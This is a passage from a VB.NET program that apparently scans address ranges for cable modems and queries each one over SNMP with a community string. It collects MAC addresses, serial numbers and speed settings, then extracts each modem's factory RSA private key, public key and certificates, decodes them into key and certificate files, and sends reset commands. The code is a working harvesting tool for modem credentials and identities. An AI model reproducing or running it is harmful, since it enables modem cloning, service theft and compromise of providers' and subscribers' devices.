  6311.                         countup5 = countup5 + 1
  6312.                     Else
  6313.                         watchvar5 = 1
  6314.                     End If
  6315.                     countback5 = countback5 - 1
  6316.                 End While
  6317.                 While coutner5 < bytelist5.Length - countup5
  6318.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  6319.                     Dim oFileStream5 As System.IO.FileStream
  6320.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  6321.                     oFileStream5.WriteByte(byteData5)
  6322.                     oFileStream5.Close()
  6323.                     coutner5 = coutner5 + 1
  6324.                 End While
  6325.  
  6326.                 x = "C:\snmpcert\snmpset.exe"
  6327.                 Dim myProcess6 As Process = New Process
  6328.                 Dim s6 As String
  6329.                 myProcess6.StartInfo.FileName = x
  6330.                 myProcess6.StartInfo.UseShellExecute = False
  6331.                 myProcess6.StartInfo.CreateNoWindow = True
  6332.                 myProcess6.StartInfo.RedirectStandardInput = True
  6333.                 myProcess6.StartInfo.RedirectStandardOutput = True
  6334.                 myProcess6.StartInfo.RedirectStandardError = True
  6335.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  6336.                 myProcess6.Start()
  6337.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  6338.                 sIn6.AutoFlush = True
  6339.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  6340.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  6341.                 s6 = sOut6.ReadToEnd()
  6342.                 If Not myProcess6.HasExited Then
  6343.                     myProcess6.Kill()
  6344.                 End If
  6345.                 sIn6.Close()
  6346.                 sOut6.Close()
  6347.                 sErr6.Close()
  6348.                 myProcess6.Close()
  6349.                 Dim myProcess7 As Process = New Process
  6350.                 Dim s7 As String
  6351.                 myProcess7.StartInfo.FileName = x
  6352.                 myProcess7.StartInfo.UseShellExecute = False
  6353.                 myProcess7.StartInfo.CreateNoWindow = True
  6354.                 myProcess7.StartInfo.RedirectStandardInput = True
  6355.                 myProcess7.StartInfo.RedirectStandardOutput = True
  6356.                 myProcess7.StartInfo.RedirectStandardError = True
  6357.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  6358.                 myProcess7.Start()
  6359.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  6360.                 sIn7.AutoFlush = True
  6361.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  6362.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  6363.                 s7 = sOut7.ReadToEnd()
  6364.                 If Not myProcess7.HasExited Then
  6365.                     myProcess7.Kill()
  6366.                 End If
  6367.                 sIn7.Close()
  6368.                 sOut7.Close()
  6369.                 sErr7.Close()
  6370.                 myProcess7.Close()
  6371.  
  6372.                 Timer1.Enabled = True
  6373.             Catch ex As Exception
  6374.                 Exit Sub
  6375.             End Try
  6376.         End If
  6377.     End Sub
  6378.     Sub check9(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  6379.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  6380.         Dim x = "C:\snmpcert\snmpget.exe"
  6381.         Dim myProcess As Process = New Process
  6382.         Dim s As String = ""
  6383.         myProcess.StartInfo.FileName = x
  6384.         myProcess.StartInfo.UseShellExecute = False
  6385.         myProcess.StartInfo.CreateNoWindow = True
  6386.         myProcess.StartInfo.RedirectStandardInput = True
  6387.         myProcess.StartInfo.RedirectStandardOutput = True
  6388.         myProcess.StartInfo.RedirectStandardError = True
  6389.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  6390.         myProcess.Start()
  6391.         Dim sIn As StreamWriter = myProcess.StandardInput
  6392.         sIn.AutoFlush = True
  6393.         Dim sOut As StreamReader = myProcess.StandardOutput
  6394.         Dim sErr As StreamReader = myProcess.StandardError
  6395.  
  6396.  
  6397.         s = sOut.ReadToEnd()
  6398.         Dim e As String = sErr.ReadToEnd
  6399.         Console.WriteLine(s)
  6400.         output = e
  6401.         output = s
  6402.         If Not myProcess.HasExited Then
  6403.             myProcess.Kill()
  6404.         End If
  6405.         sIn.Close()
  6406.         sOut.Close()
  6407.         sErr.Close()
  6408.         myProcess.Close()
  6409.         Dim temp As String = ""
  6410.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  6411.         temp = Replace(temp, Chr(34), "")
  6412.         If temp = Nothing Then
  6413.             temp = ""
  6414.         Else
  6415.             If temp = "No Such Object available on this agent at this OID" Then
  6416.                 allmodems += 1
  6417.             End If
  6418.             temp = temp.ToString.ToUpper
  6419.             Dim values As String
  6420.             values = temp
  6421.             Dim sites As String() = Nothing
  6422.             sites = values.Split(" ")
  6423.             Dim t As String
  6424.             For Each t In sites
  6425.                 If t = "NO" Then
  6426.                     track = 1
  6427.  
  6428.                 End If
  6429.  
  6430.             Next t
  6431.         End If
  6432.         If temp.ToString = "" Then
  6433.             Timer1.Enabled = True
  6434.             Exit Sub
  6435.         ElseIf track = 1 Then
  6436.             track = 0
  6437.             Timer1.Enabled = True
  6438.             Exit Sub
  6439.         Else
  6440.             total_modems += 1
  6441.  
  6442.             Try
  6443.                 Dim mymac1 As Process = New Process
  6444.                 Dim sm As String
  6445.                 mymac1.StartInfo.FileName = x
  6446.                 mymac1.StartInfo.UseShellExecute = False
  6447.                 mymac1.StartInfo.CreateNoWindow = True
  6448.                 mymac1.StartInfo.RedirectStandardInput = True
  6449.                 mymac1.StartInfo.RedirectStandardOutput = True
  6450.                 mymac1.StartInfo.RedirectStandardError = True
  6451.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  6452.                 mymac1.Start()
  6453.                 Dim sInm As StreamWriter = mymac1.StandardInput
  6454.                 sInm.AutoFlush = True
  6455.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  6456.                 Dim sErrm As StreamReader = mymac1.StandardError
  6457.                 sm = sOutm.ReadToEnd()
  6458.                 If Not mymac1.HasExited Then
  6459.                     mymac1.Kill()
  6460.                 End If
  6461.                 sInm.Close()
  6462.                 sOutm.Close()
  6463.                 sErrm.Close()
  6464.                 mymac1.Close()
  6465.                 Dim tempm As String = ""
  6466.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  6467.                 tempm = Replace(tempm, "Hex-", Nothing)
  6468.                 tempm = Replace(tempm, Chr(34), Nothing)
  6469.                 tempm = Replace(tempm, ":", Nothing)
  6470.                 tempm = Replace(tempm, " ", Nothing)
  6471.                 temp = Replace(temp, vbCrLf, Nothing)
  6472.                 tempm = Replace(tempm, vbCrLf, Nothing)
  6473.                 Dim usbmac As Process = New Process
  6474.                 Dim sm1 As String
  6475.                 usbmac.StartInfo.FileName = x
  6476.                 usbmac.StartInfo.UseShellExecute = False
  6477.                 usbmac.StartInfo.CreateNoWindow = True
  6478.                 usbmac.StartInfo.RedirectStandardInput = True
  6479.                 usbmac.StartInfo.RedirectStandardOutput = True
  6480.                 usbmac.StartInfo.RedirectStandardError = True
  6481.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  6482.                 usbmac.Start()
  6483.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  6484.                 sInm1.AutoFlush = True
  6485.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  6486.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  6487.                 sm1 = sOutm1.ReadToEnd()
  6488.                 If Not usbmac.HasExited Then
  6489.                     usbmac.Kill()
  6490.                 End If
  6491.                 sInm1.Close()
  6492.                 sOutm1.Close()
  6493.                 sErrm1.Close()
  6494.                 usbmac.Close()
  6495.                 Dim tempum As String = ""
  6496.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  6497.                 tempum = Replace(tempum, "Hex-", Nothing)
  6498.                 tempum = Replace(tempum, Chr(34), Nothing)
  6499.                 tempum = Replace(tempum, ":", Nothing)
  6500.                 tempum = Replace(tempum, " ", Nothing)
  6501.                 tempum = Replace(tempum, vbCrLf, Nothing)
  6502.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  6503.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  6504.                 'get SERIAL number
  6505.                 Dim myProcessSER As Process = New Process
  6506.                 Dim sSER As String
  6507.                 myProcessSER.StartInfo.FileName = x
  6508.                 myProcessSER.StartInfo.UseShellExecute = False
  6509.                 myProcessSER.StartInfo.CreateNoWindow = True
  6510.                 myProcessSER.StartInfo.RedirectStandardInput = True
  6511.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  6512.                 myProcessSER.StartInfo.RedirectStandardError = True
  6513.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  6514.                 myProcessSER.Start()
  6515.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  6516.                 sInSER.AutoFlush = True
  6517.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  6518.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  6519.                 sSER = sOutSER.ReadToEnd()
  6520.                 If Not myProcessSER.HasExited Then
  6521.                     myProcessSER.Kill()
  6522.                 End If
  6523.                 sInSER.Close()
  6524.                 sOutSER.Close()
  6525.                 sErrSER.Close()
  6526.                 myProcessSER.Close()
  6527.                 Dim tempSER As String
  6528.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  6529.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  6530.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  6531.  
  6532.  
  6533.  
  6534.  
  6535.  
  6536.  
  6537.                 'get download speed
  6538.  
  6539.                 Dim myProcessspeedd As Process = New Process
  6540.                 Dim sspeedd As String
  6541.                 myProcessspeedd.StartInfo.FileName = x
  6542.                 myProcessspeedd.StartInfo.UseShellExecute = False
  6543.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  6544.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  6545.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  6546.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  6547.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  6548.                 myProcessspeedd.Start()
  6549.  
  6550.  
  6551.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  6552.                 sInSpeedd.AutoFlush = True
  6553.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  6554.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  6555.                 sspeedd = sOutSpeedd.ReadToEnd()
  6556.                 If Not myProcessspeedd.HasExited Then
  6557.                     myProcessspeedd.Kill()
  6558.                 End If
  6559.                 sInSpeedd.Close()
  6560.                 sOutSpeedd.Close()
  6561.                 sErrSpeedd.Close()
  6562.                 myProcessspeedd.Close()
  6563.                 Dim tempSpeedd As String
  6564.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  6565.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  6566.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  6567.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  6568.                 'get upload speed
  6569.                 Dim myProcessspeedu As Process = New Process
  6570.                 Dim sspeedu As String
  6571.                 myProcessspeedu.StartInfo.FileName = x
  6572.                 myProcessspeedu.StartInfo.UseShellExecute = False
  6573.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  6574.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  6575.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  6576.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  6577.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  6578.                 myProcessspeedu.Start()
  6579.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  6580.                 sInSpeedu.AutoFlush = True
  6581.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  6582.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  6583.                 sspeedu = sOutSpeedu.ReadToEnd()
  6584.                 If Not myProcessspeedu.HasExited Then
  6585.                     myProcessspeedu.Kill()
  6586.                 End If
  6587.                 sInSpeedu.Close()
  6588.                 sOutSpeedu.Close()
  6589.                 sErrSpeedu.Close()
  6590.                 myProcessspeedu.Close()
  6591.                 Dim tempSpeedu As String
  6592.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  6593.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  6594.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  6595.  
  6596.  
  6597.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  6598.                     'get download speed doccis 1.1 +
  6599.                     Dim myProcessspeedd1 As Process = New Process
  6600.                     Dim sspeedd1 As String
  6601.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  6602.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  6603.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  6604.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  6605.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  6606.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  6607.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  6608.                     myProcessspeedd1.Start()
  6609.  
  6610.  
  6611.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  6612.                     sInSpeedd1.AutoFlush = True
  6613.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  6614.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  6615.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  6616.                     If Not myProcessspeedd1.HasExited Then
  6617.                         myProcessspeedd1.Kill()
  6618.                     End If
  6619.                     sInSpeedd1.Close()
  6620.                     sOutSpeedd1.Close()
  6621.                     sErrSpeedd1.Close()
  6622.                     myProcessspeedd1.Close()
  6623.                     Dim tempSpeedd1 As String
  6624.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  6625.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  6626.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  6627.                     tempSpeedd = tempSpeedd1
  6628.  
  6629.                     Dim testing As String
  6630.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  6631.                     ''MsgBox(testing)
  6632.                     Dim split As String()
  6633.                     split = testing.Split(",")
  6634.                     tempSpeedd = split(0).ToString
  6635.                     tempSpeedu = split(4).ToString
  6636.                     ''MsgBox(tempSpeedd)
  6637.                     ''MsgBox(tempSpeedu)
  6638.                 End If
  6639.  
  6640.  
  6641.  
  6642.                 Dim oFileSER As System.IO.File
  6643.                 Dim oWriteSER As System.IO.StreamWriter
  6644.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  6645.                 oWriteSER = oFileSER.CreateText(filedirSER)
  6646.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  6647.                 oWriteSER.Close()
  6648.  
  6649.                 Dim filetodelete As String
  6650.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  6651.                 If System.IO.File.Exists(filetodelete) = True Then
  6652.                     System.IO.File.Delete(filetodelete)
  6653.                 End If
  6654.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  6655.                 If System.IO.File.Exists(filetodelete) = True Then
  6656.                     System.IO.File.Delete(filetodelete)
  6657.                 End If
  6658.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  6659.                 If System.IO.File.Exists(filetodelete) = True Then
  6660.                     System.IO.File.Delete(filetodelete)
  6661.                 End If
  6662.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  6663.                 If System.IO.File.Exists(filetodelete) = True Then
  6664.                     System.IO.File.Delete(filetodelete)
  6665.                 End If
  6666.  
  6667.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  6668.                 If System.IO.File.Exists(filetodelete) = True Then
  6669.                     System.IO.File.Delete(filetodelete)
  6670.                 End If
  6671.  
  6672.  
  6673.  
  6674.  
  6675.  
  6676.  
  6677.  
  6678.                 'get cmFactoryRSAPublicKey.txt
  6679.                 Dim myProcess1 As Process = New Process
  6680.                 Dim s1 As String
  6681.                 myProcess1.StartInfo.FileName = x
  6682.                 myProcess1.StartInfo.UseShellExecute = False
  6683.                 myProcess1.StartInfo.CreateNoWindow = True
  6684.                 myProcess1.StartInfo.RedirectStandardInput = True
  6685.                 myProcess1.StartInfo.RedirectStandardOutput = True
  6686.                 myProcess1.StartInfo.RedirectStandardError = True
  6687.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  6688.                 myProcess1.Start()
  6689.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  6690.                 sIn1.AutoFlush = True
  6691.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  6692.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  6693.                 s1 = sOut1.ReadToEnd()
  6694.                 If Not myProcess1.HasExited Then
  6695.                     myProcess1.Kill()
  6696.                 End If
  6697.                 sIn1.Close()
  6698.                 sOut1.Close()
  6699.                 sErr1.Close()
  6700.                 myProcess1.Close()
  6701.                 Dim temp1 As String
  6702.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  6703.                 temp1 = Replace(temp1, "Hex-", Nothing)
  6704.                 temp1 = Replace(temp1, Chr(34), Nothing)
  6705.                 Dim oFile As System.IO.File
  6706.                 Dim oWrite As System.IO.StreamWriter
  6707.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  6708.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  6709.                 End If
  6710.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  6711.                 oWrite = oFile.CreateText(filedir)
  6712.                 oWrite.WriteLine(temp1)
  6713.                 oWrite.Close()
  6714.                 Dim bytelist1 As String()
  6715.                 Dim templist1 As String
  6716.                 templist1 = Replace(temp1, vbCrLf, " ")
  6717.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  6718.                 templist1 = Replace(templist1, " ", ",")
  6719.                 templist1 = Replace(templist1, ",,", ",")
  6720.                 bytelist1 = Split(templist1, ",")
  6721.                 Dim coutner1 As Integer
  6722.                 coutner1 = 2
  6723.                 Dim countback1 As Integer = bytelist1.Length - 2
  6724.                 Dim countup1 As Integer = 1
  6725.                 Dim watchvar1 As Integer = 0
  6726.                 While countback1 >= 0
  6727.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  6728.                         countup1 += 1
  6729.                     Else
  6730.                         watchvar1 = 1
  6731.                     End If
  6732.                     countback1 -= 1
  6733.                 End While
  6734.                 While coutner1 < bytelist1.Length - countup1
  6735.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  6736.                     Dim oFileStream1 As System.IO.FileStream
  6737.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  6738.                     oFileStream1.WriteByte(byteData)
  6739.                     oFileStream1.Close()
  6740.                     coutner1 += 1
  6741.                 End While
  6742.                 'get cmFactoryRSAPrivateKey.txt
  6743.                 Dim myProcess2 As Process = New Process
  6744.                 Dim s2 As String
  6745.                 myProcess2.StartInfo.FileName = x
  6746.                 myProcess2.StartInfo.UseShellExecute = False
  6747.                 myProcess2.StartInfo.CreateNoWindow = True
  6748.                 myProcess2.StartInfo.RedirectStandardInput = True
  6749.                 myProcess2.StartInfo.RedirectStandardOutput = True
  6750.                 myProcess2.StartInfo.RedirectStandardError = True
  6751.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  6752.                 myProcess2.Start()
  6753.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  6754.                 sIn2.AutoFlush = True
  6755.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  6756.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  6757.                 s2 = sOut2.ReadToEnd()
  6758.                 If Not myProcess2.HasExited Then
  6759.                     myProcess2.Kill()
  6760.                 End If
  6761.                 sIn2.Close()
  6762.                 sOut2.Close()
  6763.                 sErr2.Close()
  6764.                 myProcess2.Close()
  6765.                 Dim temp2 As String
  6766.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  6767.                 temp2 = Replace(temp2, "Hex-", "")
  6768.                 temp2 = Replace(temp2, Chr(34), "")
  6769.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  6770.                 oWrite = oFile.CreateText(filedir)
  6771.                 oWrite.WriteLine(temp2)
  6772.                 oWrite.Close()
  6773.                 Dim bytelist2 As String()
  6774.                 Dim templist2 As String
  6775.                 templist2 = Replace(temp2, vbCrLf, " ")
  6776.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  6777.                 templist2 = Replace(templist2, " ", ",")
  6778.                 templist2 = Replace(templist2, ",,", ",")
  6779.                 bytelist2 = Split(templist2, ",")
  6780.                 Dim coutner2 As Integer
  6781.                 coutner2 = 2
  6782.                 Dim countback2 As Integer = bytelist2.Length - 2
  6783.                 Dim countup2 As Integer = 1
  6784.                 Dim watchvar2 As Integer = 0
  6785.                 While countback2 >= 0
  6786.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  6787.                         countup2 += 1
  6788.                     Else
  6789.                         watchvar2 = 1
  6790.                     End If
  6791.                     countback2 -= 1
  6792.                 End While
  6793.                 While coutner2 < bytelist2.Length - countup2
  6794.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  6795.                     Dim oFileStream2 As System.IO.FileStream
  6796.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  6797.                     oFileStream2.WriteByte(byteData2)
  6798.                     oFileStream2.Close()
  6799.                     coutner2 += 1
  6800.                 End While
  6801.                 'get cmFactoryCMCertificate.txt
  6802.                 Dim myProcess3 As Process = New Process
  6803.                 Dim s3 As String
  6804.                 myProcess3.StartInfo.FileName = x
  6805.                 myProcess3.StartInfo.UseShellExecute = False
  6806.                 myProcess3.StartInfo.CreateNoWindow = True
  6807.                 myProcess3.StartInfo.RedirectStandardInput = True
  6808.                 myProcess3.StartInfo.RedirectStandardOutput = True
  6809.                 myProcess3.StartInfo.RedirectStandardError = True
  6810.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  6811.                 myProcess3.Start()
  6812.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  6813.                 sIn3.AutoFlush = True
  6814.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  6815.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  6816.                 s3 = sOut3.ReadToEnd()
  6817.                 If Not myProcess3.HasExited Then
  6818.                     myProcess3.Kill()
  6819.                 End If
  6820.                 sIn3.Close()
  6821.                 sOut3.Close()
  6822.                 sErr3.Close()
  6823.                 myProcess3.Close()
  6824.                 Dim temp3 As String
  6825.  
  6826.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  6827.                 temp3 = Replace(temp3, "Hex-", "")
  6828.                 temp3 = Replace(temp3, Chr(34), "")
  6829.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  6830.                 oWrite = oFile.CreateText(filedir)
  6831.                 oWrite.WriteLine(temp3)
  6832.                 oWrite.Close()
  6833.                 Dim bytelist3 As String()
  6834.                 Dim templist3 As String
  6835.                 templist3 = Replace(temp3, vbCrLf, " ")
  6836.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  6837.                 templist3 = Replace(templist3, " ", ",")
  6838.                 templist3 = Replace(templist3, ",,", ",")
  6839.                 bytelist3 = Split(templist3, ",")
  6840.                 Dim coutner3 As Integer
  6841.                 coutner3 = 2
  6842.                 Dim countback3 As Integer = bytelist3.Length - 2
  6843.                 Dim countup3 As Integer = 1
  6844.                 Dim watchvar3 As Integer = 0
  6845.                 While countback3 >= 0
  6846.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  6847.                         countup3 += 1
  6848.                     Else
  6849.                         watchvar3 = 1
  6850.                     End If
  6851.                     countback3 -= 1
  6852.                 End While
  6853.                 While coutner3 < bytelist3.Length - countup3
  6854.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  6855.                     Dim oFileStream3 As System.IO.FileStream
  6856.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  6857.                     oFileStream3.WriteByte(byteData3)
  6858.                     oFileStream3.Close()
  6859.                     coutner3 = coutner3 + 1
  6860.                 End While
  6861.                 'get cmFactoryCaCertificate.txt
  6862.                 Dim myProcess4 As Process = New Process
  6863.                 Dim s4 As String
  6864.                 myProcess4.StartInfo.FileName = x
  6865.                 myProcess4.StartInfo.UseShellExecute = False
  6866.                 myProcess4.StartInfo.CreateNoWindow = True
  6867.                 myProcess4.StartInfo.RedirectStandardInput = True
  6868.                 myProcess4.StartInfo.RedirectStandardOutput = True
  6869.                 myProcess4.StartInfo.RedirectStandardError = True
  6870.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  6871.                 myProcess4.Start()
  6872.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  6873.                 sIn4.AutoFlush = True
  6874.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  6875.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  6876.                 s4 = sOut4.ReadToEnd()
  6877.                 If Not myProcess4.HasExited Then
  6878.                     myProcess4.Kill()
  6879.                 End If
  6880.                 sIn4.Close()
  6881.                 sOut4.Close()
  6882.                 sErr4.Close()
  6883.                 myProcess4.Close()
  6884.                 Dim temp4 As String
  6885.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  6886.                 temp4 = Replace(temp4, "Hex-", "")
  6887.                 temp4 = Replace(temp4, Chr(34), "")
  6888.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  6889.                 oWrite = oFile.CreateText(filedir)
  6890.                 oWrite.WriteLine(temp4)
  6891.                 oWrite.Close()
  6892.                 Dim bytelist4 As String()
  6893.                 Dim templist4 As String
  6894.                 templist4 = Replace(temp4, vbCrLf, " ")
  6895.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  6896.                 templist4 = Replace(templist4, " ", ",")
  6897.                 templist4 = Replace(templist4, ",,", ",")
  6898.                 bytelist4 = Split(templist4, ",")
  6899.                 Dim coutner4 As Integer
  6900.                 coutner4 = 2
  6901.                 Dim countback4 As Integer = bytelist4.Length - 2
  6902.                 Dim countup4 As Integer = 1
  6903.                 Dim watchvar4 As Integer = 0
  6904.                 While countback4 >= 0
  6905.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  6906.                         countup4 = countup4 + 1
  6907.                     Else
  6908.                         watchvar4 = 1
  6909.                     End If
  6910.                     countback4 = countback4 - 1
  6911.                 End While
  6912.                 While coutner4 < bytelist4.Length - countup4
  6913.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  6914.                     Dim oFileStream4 As System.IO.FileStream
  6915.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  6916.                     oFileStream4.WriteByte(byteData4)
  6917.                     oFileStream4.Close()
  6918.                     coutner4 = coutner4 + 1
  6919.                 End While
  6920.                 'get cmFactoryRootCertificate.txt
  6921.                 Dim myProcess5 As Process = New Process
  6922.                 Dim s5 As String
  6923.                 myProcess5.StartInfo.FileName = x
